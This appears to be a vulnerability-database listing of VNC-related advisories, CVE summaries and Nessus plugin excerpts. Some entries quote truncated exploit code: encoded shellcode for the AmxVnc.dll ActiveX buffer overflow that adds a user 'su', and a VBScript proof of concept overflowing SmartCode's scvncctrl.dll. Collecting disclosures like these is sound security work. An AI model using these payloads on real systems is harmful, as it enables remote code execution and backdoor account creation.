openSUSE 10 Security Update : LibVNCServer (LibVNCServer-1667)

Modified clients could bypass authentication of password protected VNC servers CVE-2006-2450. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The descriptive text and package checks in this plugin were extracted from openSUSE Security Update LibVNCServer-1667. The text description of this...

VNC Server Unauthenticated Access

The VNC server installed on the remote host allows an attacker to connect to the remote host as no authentication is required to access this service. The VNC server sometimes sends the connected user to the XDM login screen. Unfortunately, Nessus cannot identify this situation. In such a case, it...

Buffer overflow

Multiple buffer overflows in the AMX NetLinx VNC AmxVnc ActiveX control in AmxVnc.dll 1.0.13.0 allow remote attackers to execute arbitrary code via long 1 Host, 2 Password, or 3 LogFile property values...

CVE-2007-3536

CVE-2007-3536 affects the AMX NetLinx VNC (AmxVnc) ActiveX control (AmxVnc.dll 1.0.13.0). The vulnerability is described as multiple buffer overflows that allow remote code execution when long values are supplied to the Host, Password, or LogFile properties. The NVD entry assigns a CVSSv2 base sc...

CVE-2007-3536

Multiple buffer overflows in the AMX NetLinx VNC AmxVnc ActiveX control in AmxVnc.dll 1.0.13.0 allow remote attackers to execute arbitrary code via long 1 Host, 2 Password, or 3 LogFile property values...

amx-activex.txt

'metasploit one, add a user "su" with pass "tzu" scode = unescape"%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49%49%37%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%44%58%50%30%41%30%41%6b%41%41%54%42%41%32%...

AMX Corp. VNC ActiveX Control (AmxVnc.dll 1.0.13.0) BoF Exploit

No description provided by source. !-- 21.17 23/06/2007 AMX Corp. VNC ActiveX Control AmxVnc.dll 1.0.13.0 remote buffer overflow exploit / tested against IE6 on xp sp2 it found this one inside GHDB, dork by JimmyNeutron: WebControl intitle:"AMX NetLinx" description: "AMX Netlinx is a server...

AMX Corp. VNC ActiveX Control - AmxVnc.dll 1.0.13.0 Remote Buffer Overflow

AMX Corp. VNC ActiveX Control - AmxVnc.dll 1.0.13.0 Remote Buffer Overflow 'metasploit one, add a user "su" with pass "tzu" scode = unescape"%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49%49%37%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%44%58%50%30%41%30%41%6b%41%41%54%42%41%32%41%41%32%4...

AMX Corp. VNC ActiveX Control (AmxVnc.dll 1.0.13.0) BoF Exploit

Exploit for unknown platform in category remote exploits =============================================================== AMX Corp. VNC ActiveX Control AmxVnc.dll 1.0.13.0 BoF Exploit =============================================================== script language='...

AMX Corp. VNC ActiveX Control - 'AmxVnc.dll 1.0.13.0' Remote Buffer Overflow

'metasploit one, add a user "su" with pass "tzu" scode = unescape"%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49%49%37%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%44%58%50%30%41%30%41%6b%41%41%54%42%41%32%41%41%32%42%41%30%42%41%58%38%41%42...

RHEL 5 : xen (RHSA-2007:0114)

An updated Xen package to fix one security issue and two bugs is now available for Red Hat Enterprise Linux 5. This update has been rated as having important security impact by the Red Hat Security Response Team. The Xen package contains the tools for managing the virtual machine monitor in Red H...

Heap overflow

Heap-based buffer overflow in the ConnectAsyncEx function in VNC Viewer ActiveX control scvncctrl.dll in the SmartCode VNC Manager 3.6 allows remote attackers to execute arbitrary code via a long argument...

CVE-2007-2526

Heap-based buffer overflow in the ConnectAsyncEx function in VNC Viewer ActiveX control scvncctrl.dll in the SmartCode VNC Manager 3.6 allows remote attackers to execute arbitrary code via a long argument...

CVE-2007-2526

Heap-based buffer overflow in the ConnectAsyncEx function in VNC Viewer ActiveX control scvncctrl.dll in the SmartCode VNC Manager 3.6 allows remote attackers to execute arbitrary code via a long argument...

CVE-2007-2526

CVE-2007-2526 describes a heap-based buffer overflow in the ConnectAsyncEx function of the VNC Viewer ActiveX control (scvncctrl.dll) used by SmartCode VNC Manager 3.6, enabling remote code execution via a long argument. The connected sources confirm the vulnerable component and impact but do not...

SmartCode VNC Manager 3.6 (scvncctrl.dll) Denial of Service Exploit

Exploit for unknown platform in category dos / poc =================================================================== SmartCode VNC Manager 3.6 scvncctrl.dll Denial of Service Exploit =================================================================== buff = String3543,"A" getEAX = "aaaa" getEBX...

SmartCode VNC Manager 3.6 (scvncctrl.dll) Denial of Service Exploit

No description provided by source. html object classid='clsid:62FA83F7-20EC-4D62-AC86-BAB705EE1CCD' id='target'/object script language = 'vbscript' buff = String3543,"A" getEAX = "aaaa" getEBX = "cccc" buff2 = String1440,"B" egg = buff + getEAX + getEBX + buff2 target.ConnectAsyncEx egg, 1,...

SmartCode VNC Manager 3.6 - scvncctrl.dll Denial of Service

SmartCode VNC Manager 3.6 - scvncctrl.dll Denial of Service buff = String3543,"A" getEAX = "aaaa" getEBX = "cccc" buff2 = String1440,"B" egg = buff + getEAX + getEBX + buff2 target.ConnectAsyncEx egg, 1, "default" milw0rm.com 2007-05-08...

SmartCode VNC Manager 3.6 - 'scvncctrl.dll' Denial of Service

buff = String3543,"A" getEAX = "aaaa" getEBX = "cccc" buff2 = String1440,"B" egg = buff + getEAX + getEBX + buff2 target.ConnectAsyncEx egg, 1, "default" milw0rm.com 2007-05-08...

Fedora Core 5 : xen-3.0.3-5.fc5 (2007-344)

A flaw was found affecting the VNC server code in QEMU. On a fully virtualized guest VM, where qemu monitor mode is enabled, a user who had access to the VNC server could gain the ability to read arbitrary files as root in the host filesystem. CVE-2007-0998 Note that Tenable Network Security has...